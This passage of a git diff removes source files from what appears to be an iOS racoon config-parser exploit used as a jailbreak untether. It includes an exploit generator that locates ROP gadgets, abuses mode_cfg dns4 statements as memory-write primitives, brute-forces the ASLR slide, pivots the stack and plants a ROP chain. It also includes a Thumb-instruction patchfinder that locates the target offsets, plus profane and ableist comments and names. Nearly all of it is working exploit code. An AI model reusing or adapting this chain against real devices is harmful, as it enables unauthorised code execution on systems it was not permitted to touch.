pop_r4_to_r7_pc = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x01\xb0\xf0\xbd", 4) + 0x4002) | 1; - mov_r0 = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x20\x46\xf0\xbd", 4) + 0x4000) | 1; -// puts_addr = - - fprintf(stderr, "POST: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); - fprintf(stderr, "POST: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); -#endif - -// fprintf(stderr, "0x%08x\n", find_printf_addr(0, buf, sz)); -// fprintf(stderr, "0x%08x\n", find_puts_addr(0, buf, sz)); - - uint32_t scprefcreate_lazy_offset = 0xb4140; - uint32_t scprefcreate_dsc_offset = 0xce2065; - - uint32_t we_out_here_addr = 0x1c5000; - uint32_t malloc_status_addr = 0x1c5100; - uint32_t dyld_status_addr = 0x1c5200; - uint32_t dyld_status2_addr = 0x1c5300; - uint32_t jsc_addr = 0x1c5400; - uint32_t dlopen_status_addr = 0x1c5500; - uint32_t dyld_shc_status_addr = 0x1c5600; - uint32_t reserve_addr = 0x1a0000; - uint32_t nulls_addr = 0x5000; - uint32_t time_addr = 0x1c5700; - uint32_t arg_addr = 0x1c5800; - -#if 0 - for (int blaze = 0x1c7700; blaze < 0x1c8000; blaze += 4) { - fprintf(fp, "%s", write32_slid(blaze, 0x41000000 | blaze)); - } - - fprintf(fp, - "%s", - write32_slid(magic_trigger_addr, - 0x13371337)); - - /* - * dummy statement to run inet_pton to attempt the trigger if correct - * slide - */ - fprintf(fp, - "mode_cfg{" - "dns41.1.1.1;" - "}"); - - /* - * bail if the slide is wrong - */ - fprintf(fp, - "%s\n", - write32_unslid(0x41414141, - 0x42424242)); -#endif - - fprintf(fp, "%s\n", write32_unslid(stack_base - 0x948, 0x41414141)); - fprintf(fp, "mode_cfg{dns41.1.1.1;}"); - -#if 0 -// fprintf(fp, -// "%s\n", -// write32_unslid(0x41414141, -// 0x42424242)); - uint32_t guessed_slide = 0x1000; - - for (uint32_t x = 0x1c7800; x < 0x1c8000; x += 4) { - fprintf(fp, "%s", write32_unslid(x + guessed_slide, 0x41000000 | x)); - } - - /* - * trigger if right slide - * - * this trigger is kinda magic to me, basically it's writing to some - * error or status variable that the YACC/bison internal shit uses or - * something, and writing some different val makes it think there was - * and error or some shit, idk - */ - fprintf(fp, - "%s", - write32_unslid(guessed_slide + magic_trigger_addr, - 0x13371337)); - - /* - * dummy statement to run inet_pton to attempt the trigger if correct - * slide - */ - fprintf(fp, - "mode_cfg{" - "dns41.1.1.1;" - "}"); - - /* - * bail if the slide is wrong - */ - fprintf(fp, - "%s\n", - write32_unslid(0x41414141, - 0x42424242)); -#endif - - fprintf(fp, - "%s", - writebuf_unslid(0x108000, - "var parent = new Uint8Array(0x100);" - "var child = new Uint8Array(0x100);" - " var fuck = new Array();" - " for (var i = 0; i < 0x200000; i++) {" - " fuck[i] = i;" - " }" - " delete fuck;" - "" - "//shitalloc();", - strlen("var parent = new Uint8Array(0x100);" - "var child = new Uint8Array(0x100);" - " var fuck = new Array();" - " for (var i = 0; i < 0x200000; i++) {" - " fuck[i] = i;" - " }" - " delete fuck;" - "" - "//shitalloc();") + 1)); - fprintf(fp, - "%s", - writebuf_unslid(0x10a000, - js_src, - strlen(js_src) + 1)); - - fprintf(fp, - "%s", - writebuf_unslid(0x109000, - "still alive\n", - strlen("still alive\n") + 1)); - - for (int slide = 0x1; slide <= 0x3; slide++) { - uint32_t base = slide << 12; - uint32_t slid_stack = stack_base + base; - - char* we_out_here_str = NULL; - asprintf(&we_out_here_str, - "[*] drunk_rac00n exploit by spv. aslr_slide=0x%x\n" - "[*] ROP 'til you die motherfuckers.", - slide); - - fprintf(fp, - "%s", - writebuf_unslid(base + we_out_here_addr, - we_out_here_str, - strlen(we_out_here_str) + 1)); - - fprintf(fp, - "%s", - writebuf_unslid(base + malloc_status_addr, - "[*] malloc(...)\t\t\t= %p\n", - strlen("[*] malloc(...)\t\t\t= %p\n") + 1)); - - fprintf(fp, - "%s", - writebuf_unslid(base + dyld_shc_status_addr, - "[*] dyld_shared_cache base\t= %p\n", - strlen("[*] dyld_shared_cache base\t= %p\n") + 1)); - fprintf(fp, - "%s", - writebuf_unslid(base + time_addr, - "[*] time\t\t\t= %d\n", - strlen("[*] time\t\t\t= %d\n") + 1)); - fprintf(fp, - "%s", - writebuf_unslid(base + arg_addr, - "/untether/p0laris", - strlen("/untether/p0laris") + 1)); - - rop_chain_shit chain_b0i = gen_rop_chain(base, - we_out_here_addr, - mov_r0, - puts_addr, - blx_r5, - nulls_addr, - malloc_addr, - mov_r1_r0, - nop, - malloc_status_addr, - printf_addr, - exit_addr, - str_r0_r4, - reserve_addr, - ldr_r0_r0, - add_r0_r1, - pivot_to + 0x10, - dyld_shc_status_addr, - scprefcreate_dsc_offset, - scprefcreate_lazy_offset, - weird_r3, - other_weird_r3); - -// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); - - fprintf(fp, - "\n\n# rop_chain length %d bytes (0x%x bytes hex), ASLR slide=0x%x, slid_base=0x%x\n", - chain_b0i->chain_len, - chain_b0i->chain_len, - (slide), - (slide << 12) + 0x4000); - -#if 0 - for (int val = 0; val < (chain_b0i->chain_len / 4); val++) { - fprintf(fp, - "%s", - write32_unslid(slid_stack + (val * 4), - chain_b0i->teh_chain[val])); - } -#endif - - fprintf(fp, "%s", write32_unslid(slid_stack + 0x0, pivot_to)); - fprintf(fp, "%s", write32_unslid(slid_stack + 0x4, 0x41414141)); - fprintf(fp, "%s", write32_unslid(slid_stack + 0x8, 0x41414141)); - fprintf(fp, "%s", write32_unslid(slid_stack + 0xc, 0x41414141)); - fprintf(fp, "%s", write32_unslid(slid_stack + 0x10, base + pivot_addr)); - fprintf(fp, "%s", write32_unslid(pivot_to + 0x0, 0x41414141)); - fprintf(fp, "%s", write32_unslid(pivot_to + 0x4, 0x41414141)); - fprintf(fp, "%s", write32_unslid(pivot_to + 0x8, 0x41414141)); - fprintf(fp, "%s", write32_unslid(pivot_to + 0xc, base + nop)); - - /* - * use writebuf_unslid as it uses like 1/6th of the statements - */ - fprintf(fp, - "%s", - writebuf_unslid(pivot_to + 0x10, - (char*)chain_b0i->teh_chain, - chain_b0i->chain_len)); - -// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); - - /* - * trigger if right slide - * - * this trigger is kinda magic to me, basically it's writing to some - * error or status variable that the YACC/bison internal shit uses or - * something, and writing some different val makes it think there was - * and error or some shit, idk - */ - fprintf(fp, - "%s", - write32_unslid(base + magic_trigger_addr, - 0x13371337)); - - /* - * dummy statement to run inet_pton to attempt the trigger if correct - * slide - */ - fprintf(fp, - "mode_cfg{" - "dns41.1.1.1;" - "}"); - - /* - * we don't need no memory leaks round these parts - */ - free(chain_b0i->teh_chain); - } - - /* - * bail if the slide is wrong - */ - fprintf(fp, - "%s\n", - write32_unslid(0x41414141, - 0x42424242)); - - free(js_src); - free(fuck_memory_leaks); - -// getc(stdin); - - return 0; -} diff --git a/src/patchfinder.c b/src/patchfinder.c deleted file mode 100644 index 7464d70..0000000 --- a/src/patchfinder.c +++ /dev/null @@ -1,805 +0,0 @@ -/* - * fucking shit patchfinder that does garbage patchfinding for this shit fuck - * exploit - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "patchfinder.h" -#include "common.h" - -static uint32_t bit_range(uint32_t x, int start, int end) { - x = (x << (31 - start)) >> (31 - start); - x = (x >> end); - return x; -} - -static uint32_t ror(uint32_t x, int places) { - return (x >> places) | (x << (32 - places)); -} - -static int thumb_expand_imm_c(uint16_t imm12) { - if (bit_range(imm12, 11, 10) == 0) { - switch (bit_range(imm12, 9, 8)) { - case 0: - return bit_range(imm12, 7, 0); - case 1: - return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0); - case 2: - return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8); - case 3: - return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0); - default: - return 0; - } - } else { - uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0); - return ror(unrotated_value, bit_range(imm12, 11, 7)); - } -} - -static int insn_is_32bit(uint16_t* i) { - return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0; -} - -static int insn_is_bl(uint16_t* i) { - if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000) - return 1; - else if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000) - return 1; - else - return 0; -} - -static uint32_t insn_bl_imm32(uint16_t* i) { - uint16_t insn0 = *i; - uint16_t insn1 = *(i + 1); - uint32_t s = (insn0 >> 10) & 1; - uint32_t j1 = (insn1 >> 13) & 1; - uint32_t j2 = (insn1 >> 11) & 1; - uint32_t i1 = ~(j1 ^ s) & 1; - uint32_t i2 = ~(j2 ^ s) & 1; - uint32_t imm10 = insn0 & 0x3ff; - uint32_t imm11 = insn1 & 0x7ff; - uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0); - return imm32; -} - -static int insn_is_b_conditional(uint16_t* i) { - return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE; -} - -static int insn_is_b_unconditional(uint16_t* i) { - if ((*i & 0xF800) == 0xE000) - return 1; - else if ((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9) - return 1; - else - return 0; -} - -static int insn_is_ldr_literal(uint16_t* i) { - return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F; -} - -static int insn_ldr_literal_rt(uint16_t* i) { - if ((*i & 0xF800) == 0x4800) - return (*i >> 8) & 7; - else if ((*i & 0xFF7F) == 0xF85F) - return (*(i + 1) >> 12) & 0xF; - else - return 0; -} - -static int insn_ldr_literal_imm(uint16_t* i) { - if ((*i & 0xF800) == 0x4800) - return (*i & 0xF) << 2; - else if ((*i & 0xFF7F) == 0xF85F) - return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1); - else - return 0; -} - -// TODO: More encodings -static int insn_is_ldr_imm(uint16_t* i) { - uint8_t opA = bit_range(*i, 15, 12); - uint8_t opB = bit_range(*i, 11, 9); - - return opA == 6 && (opB & 4) == 4; -} - -static int insn_ldr_imm_rt(uint16_t* i) { - return (*i & 7); -} - -static int insn_ldr_imm_rn(uint16_t* i) { - return ((*i >> 3) & 7); -} - -static int insn_ldr_imm_imm(uint16_t* i) { - return ((*i >> 6) & 0x1F); -} - -// TODO: More encodings -static int insn_is_ldrb_imm(uint16_t* i) { - return (*i & 0xF800) == 0x7800; -} - -static int insn_ldrb_imm_rt(uint16_t* i) { - return (*i & 7); -} - -static int insn_ldrb_imm_rn(uint16_t* i) { - return ((*i >> 3) & 7); -} - -static int insn_ldrb_imm_imm(uint16_t* i) { - return ((*i >> 6) & 0x1F); -} - -static int insn_is_ldr_reg(uint16_t* i) { - if ((*i & 0xFE00) == 0x5800) - return 1; - else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) - return 1; - else - return 0; -} - -static int insn_ldr_reg_rn(uint16_t* i) { - if ((*i & 0xFE00) == 0x5800) - return (*i >> 3) & 0x7; - else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) - return (*i & 0xF); - else - return 0; -} - -int insn_ldr_reg_rt(uint16_t* i) { - if ((*i & 0xFE00) == 0x5800) - return *i & 0x7; - else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) - return (*(i + 1) >> 12) & 0xF; - else - return 0; -} - -int insn_ldr_reg_rm(uint16_t* i) { - if ((*i & 0xFE00) == 0x5800) - return (*i >> 6) & 0x7; - else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) - return *(i + 1) & 0xF; - else - return 0; -} - -static int insn_ldr_reg_lsl(uint16_t* i) { - if ((*i & 0xFE00) == 0x5800) - return 0; - else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) - return (*(i + 1) >> 4) & 0x3; - else - return 0; -} - -static int insn_is_add_reg(uint16_t* i) { - if ((*i & 0xFE00) == 0x1800) - return 1; - else if ((*i & 0xFF00) == 0x4400) - return 1; - else if ((*i & 0xFFE0) == 0xEB00) - return 1; - else - return 0; -} - -static int insn_add_reg_rd(uint16_t* i) { - if ((*i & 0xFE00) == 0x1800) - return (*i & 7); - else if ((*i & 0xFF00) == 0x4400) - return (*i & 7) | ((*i & 0x80) >> 4) ; - else if ((*i & 0xFFE0) == 0xEB00) - return (*(i + 1) >> 8) & 0xF; - else - return 0; -} - -static int insn_add_reg_rn(uint16_t* i) { - if ((*i & 0xFE00) == 0x1800) - return ((*i >> 3) & 7); - else if ((*i & 0xFF00) == 0x4400) - return (*i & 7) | ((*i & 0x80) >> 4) ; - else if ((*i & 0xFFE0) == 0xEB00) - return (*i & 0xF); - else - return 0; -} - -static int insn_add_reg_rm(uint16_t* i) { - if ((*i & 0xFE00) == 0x1800) - return (*i >> 6) & 7; - else if ((*i & 0xFF00) == 0x4400) - return (*i >> 3) & 0xF; - else if ((*i & 0xFFE0) == 0xEB00) - return *(i + 1) & 0xF; - else - return 0; -} - -static int insn_is_movt(uint16_t* i) { - return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0; -} - -static int insn_movt_rd(uint16_t* i) { - return (*(i + 1) >> 8) & 0xF; -} - -static int insn_movt_imm(uint16_t* i) { - return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); -} - -static int insn_is_mov_imm(uint16_t* i) { - if ((*i & 0xF800) == 0x2000) - return 1; - else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) - return 1; - else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) - return 1; - else - return 0; -} - -static int insn_mov_imm_rd(uint16_t* i) { - if ((*i & 0xF800) == 0x2000) - return (*i >> 8) & 7; - else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) - return (*(i + 1) >> 8) & 0xF; - else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) - return (*(i + 1) >> 8) & 0xF; - else - return 0; -} - -static int insn_mov_imm_imm(uint16_t* i) { - if ((*i & 0xF800) == 0x2000) - return *i & 0xF; - else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) - return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); - else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) - return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); - else - return 0; -} - -static int insn_is_cmp_imm(uint16_t* i) { - if ((*i & 0xF800) == 0x2800) - return 1; - else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) - return 1; - else - return 0; -} - -static int insn_cmp_imm_rn(uint16_t* i) { - if ((*i & 0xF800) == 0x2800) - return (*i >> 8) & 7; - else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) - return *i & 0xF; - else - return 0; -} - -static int insn_cmp_imm_imm(uint16_t* i) { - if ((*i & 0xF800) == 0x2800) - return *i & 0xFF; - else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) - return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); - else - return 0; -} - -static int insn_is_and_imm(uint16_t* i) { - return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0; -} - -static int insn_and_imm_rn(uint16_t* i) { - return *i & 0xF; -} - -static int insn_and_imm_rd(uint16_t* i) { - return (*(i + 1) >> 8) & 0xF; -} - -static int insn_and_imm_imm(uint16_t* i) { - return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); -} - -static int insn_is_push(uint16_t* i) { - if ((*i & 0xFE00) == 0xB400) - return 1; - else if (*i == 0xE92D) - return 1; - else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) - return 1; - else - return 0; -} - -static int insn_push_registers(uint16_t* i) { - if ((*i & 0xFE00) == 0xB400) - return (*i & 0x00FF) | ((*i & 0x0100) << 6); - else if (*i == 0xE92D) - return *(i + 1); - else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) - return 1 << ((*(i + 1) >> 12) & 0xF); - else - return 0; -} - -static int insn_is_preamble_push(uint16_t* i) { - return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0; -} - -static int insn_is_str_imm(uint16_t* i) { - if ((*i & 0xF800) == 0x6000) - return 1; - else if ((*i & 0xF800) == 0x9000) - return 1; - else if ((*i & 0xFFF0) == 0xF8C0) - return 1; - else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) - return 1; - else - return 0; -} - -static int insn_str_imm_postindexed(uint16_t* i) { - if ((*i & 0xF800) == 0x6000) - return 1; - else if ((*i & 0xF800) == 0x9000) - return 1; - else if ((*i & 0xFFF0) == 0xF8C0) - return 1; - else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) - return (*(i + 1) >> 10) & 1; - else - return 0; -} - -static int insn_str_imm_wback(uint16_t* i) { - if ((*i & 0xF800) == 0x6000) - return 0; - else if ((*i & 0xF800) == 0x9000) - return 0; - else if ((*i & 0xFFF0) == 0xF8C0) - return 0; - else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) - return (*(i + 1) >> 8) & 1; - else - return 0; -} - -static int insn_str_imm_imm(uint16_t* i) { - if ((*i & 0xF800) == 0x6000) - return (*i & 0x07C0) >> 4; - else if ((*i & 0xF800) == 0x9000) - return (*i & 0xFF) << 2; - else if ((*i & 0xFFF0) == 0xF8C0) - return (*(i + 1) & 0xFFF); - else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) - return (*(i + 1) & 0xFF); - else - return 0; -} - -static int insn_str_imm_rt(uint16_t* i) { - if ((*i & 0xF800) == 0x6000) - return (*i & 7); - else if ((*i & 0xF800) == 0x9000) - return (*i >> 8) & 7; - else if ((*i & 0xFFF0) == 0xF8C0) - return (*(i + 1) >> 12) & 0xF; - else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) - return (*(i + 1) >> 12) & 0xF; - else - return 0; -} - -static int insn_str_imm_rn(uint16_t* i) { - if ((*i & 0xF800) == 0x6000) - return (*i >> 3) & 7; - else if ((*i & 0xF800) == 0x9000) - return 13; - else if ((*i & 0xFFF0) == 0xF8C0) - return (*i & 0xF); - else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) - return (*i & 0xF); - else - return 0; -} - -// Given an instruction, search backwards until an instruction is found matching the specified criterion. -static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) { - while ((uintptr_t)current_instruction > (uintptr_t)kdata) { - if (insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) { - current_instruction -= 2; - } else { - --current_instruction; - } - - if (match_func(current_instruction)) { - return current_instruction; - } - } - - return NULL; -} - -// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached. -static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) { - // Find the last instruction that completely wiped out this register - int found = 0; - uint16_t* current_instruction = insn; - while ((uintptr_t)current_instruction > (uintptr_t)kdata) { - if (insn_is_32bit(current_instruction - 2)) { - current_instruction -= 2; - } else { - --current_instruction; - } - - if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { - found = 1; - break; - } - - if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) { - found = 1; - break; - } - } - - if (!found) - return 0; - - // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing. - uint32_t value = 0; - while ((uintptr_t)current_instruction < (uintptr_t)insn) { - if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) { - value = insn_mov_imm_imm(current_instruction); - } else if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) { - value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction))); - } else if (insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) { - value |= insn_movt_imm(current_instruction) << 16; - } else if (insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) { - if (insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) { - // Can't handle this kind of operation! - return 0; - } - - value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; - } - - current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; - } - - return value; -} - -// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc. -static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) { - uint16_t* current_instruction = insn; - uint32_t value[16]; - memset(value, 0, sizeof(value)); - - while ((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) { - if (insn_is_mov_imm(current_instruction)) { - value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction); - } else if (insn_is_ldr_literal(current_instruction)) { - uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction); - if (literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) { - value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address); - } - } else if (insn_is_movt(current_instruction)) { - value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16; - } else if (insn_is_add_reg(current_instruction)) { - int reg = insn_add_reg_rd(current_instruction); - if (insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) { - value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4; - if (value[reg] == address) { - return current_instruction; - } - } - } - - current_instruction += insn_is_32bit(current_instruction) ? 2 : 1; - } - - return NULL; -} - -struct find_search_mask { - uint16_t mask; - uint16_t value; -}; - -// Search the range of kdata for a series of 16-bit values that match the search mask. -static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) { - uint16_t* end = (uint16_t*)(kdata + ksize - (num_masks * sizeof(uint16_t))); - uint16_t* cur; - for(cur = (uint16_t*) kdata; cur <= end; ++cur) { - int matched = 1; - int i; - for(i = 0; i < num_masks; ++i) { - if ((*(cur + i) & masks[i].mask) != masks[i].value) { - matched = 0; - break; - } - } - - if (matched) - return cur; - } - - return NULL; -} - -/* - * stolen from CBPatcher - */ -/* Some stuff from https://github.com/kpwn/yalu/blob/master/data/dyldmagic/libxnuexp.m, courtesy of qwertyoruiop */ - -/* Find start of a section in a macho */ -struct section *find_section(struct segment_command *seg, const char *name) -{ - struct section *sect, *fs = NULL; - uint32_t i = 0; - for (i = 0, sect = (struct section *)((uintptr_t)seg + (uintptr_t)sizeof(struct segment_command)); - i < seg->nsects; - i++, sect = (struct section*)((uintptr_t)sect + sizeof(struct section))) - { - if (!strcmp(sect->sectname, name)) { - fs = sect; - break; - } - } - return fs; -} - -/* Find start of a load command in a macho */ -struct load_command *find_load_command(struct mach_header *mh, uint32_t cmd) { - struct load_command *lc, *flc; - - lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); - - while (1) { - if ((uintptr_t)lc->cmd == cmd) { - flc = (struct load_command *)(uintptr_t)lc; - break; - } - lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); - } - return flc; -} - -/* Find start of a segment in a macho */ -struct segment_command *find_segment(struct mach_header *mh, const char *segname) { - struct load_command *lc; - struct segment_command *s, *fs = NULL; - lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header)); - while ((uintptr_t)lc < (uintptr_t)mh + (uintptr_t)mh->sizeofcmds) { - if (lc->cmd == LC_SEGMENT) { - s = (struct segment_command *)lc; - if (!strcmp(s->segname, segname)) { - fs = s; - break; - } - } - lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize); - } - return fs; -} - -/* Find offset of an exported symbol in a macho */ -void* find_sym(struct mach_header *mh, const char *name) { - struct segment_command* first = (struct segment_command*) find_load_command(mh, LC_SEGMENT); - struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB); - vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr; - - char* sym_str_table = (char*) (((char*)mh) + symtab->stroff); - struct nlist* sym_table = (struct nlist*)(((char*)mh) + symtab->symoff); - - for (int i = 0; i < symtab->nsyms; i++) { - if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) { - return (void*)(uintptr_t)(sym_table[i].n_value + vmaddr_slide); - } - } - return 0; -} - -uint32_t get_offset_to_binary_of_bytes(uint8_t* bin, - uint32_t bin_len, - uint8_t* what, - uint32_t what_len) { - uint8_t* tmp = memmem(bin, bin_len, what, what_len); - if (tmp == NULL) - return -1; - - return tmp - bin; -} - -#include - -uint16_t swap_uint16(uint16_t val) { - return (val << 8) | (val >> 8); -} - -uint32_t swap_uint32(uint32_t val) { - val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF); - return (val << 16) | (val >> 16); -} - -uint32_t weird_swap(uint32_t lol) { - return (swap_uint16((lol & 0xffff0000) >> 16) << 16) | swap_uint16(lol & 0xffff); -} - -uint16_t get_movw_arg(uint32_t movw) { - /* - * garbage - */ - uint32_t arg = 0; - uint32_t movw_just_arg = weird_swap(movw); - arg |= (movw_just_arg & 0xff) << 0; - arg |= ((movw_just_arg & 0x7000) >> 12) << 8; - arg |= ((movw_just_arg & 0xf0000) >> 16) << 12; - arg |= ((movw_just_arg & 0x4000000) >> 26) << 11; - - return arg; -} - -uint32_t find_dns4_offset(uint32_t region, - uint8_t* bin, - size_t size) { - char* sysctl_arg = "net.inet.ipsec.esp_port"; - char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); - uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); - uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); - uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); - uint32_t ref_to_dns4; - uintptr_t the_movw; - for (int i = 0; i < 0x100; i++) { - uintptr_t test_me = (uintptr_t)ref_ptr; - test_me += i; - if (insn_is_movt((uint16_t*)test_me)) { - the_movw = (uintptr_t)ref_ptr; - the_movw += i; - the_movw -= 4; - break; - } -// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { -// ref_to_dns4 = ref + (i - 2); -// break; -// } - } - - uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); - - uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); - uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); - uint32_t movw_arg = get_movw_arg(movw_raw); - uint32_t movt_arg = get_movw_arg(movt_raw); - - uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; - uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); - uint32_t ref_dns4_offset = offset_to_pc + pc + 0x4; - - uint32_t autism = ref_dns4_offset; -// printf("0x%08x\n", autism); - - return *(uint32_t*)(bin + autism) + 0x8; -} - -uint32_t find_lc_conf_offset(uint32_t region, - uint8_t* bin, - size_t size) { - char* sysctl_arg = "net.inet.ipsec.esp_port"; - char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg)); - uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin); - uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy); - uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin); - uint32_t ref_to_dns4; - uintptr_t the_movw; - for (int i = 0; i < 0x100; i++) { - uintptr_t test_me = (uintptr_t)ref_ptr; - test_me += i; - if (insn_is_movt((uint16_t*)test_me)) { - the_movw = (uintptr_t)ref_ptr; - the_movw += i; - the_movw -= 4; - break; - } -// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) { -// ref_to_dns4 = ref + (i - 2); -// break; -// } - } - - uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin); - - uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw); - uint32_t 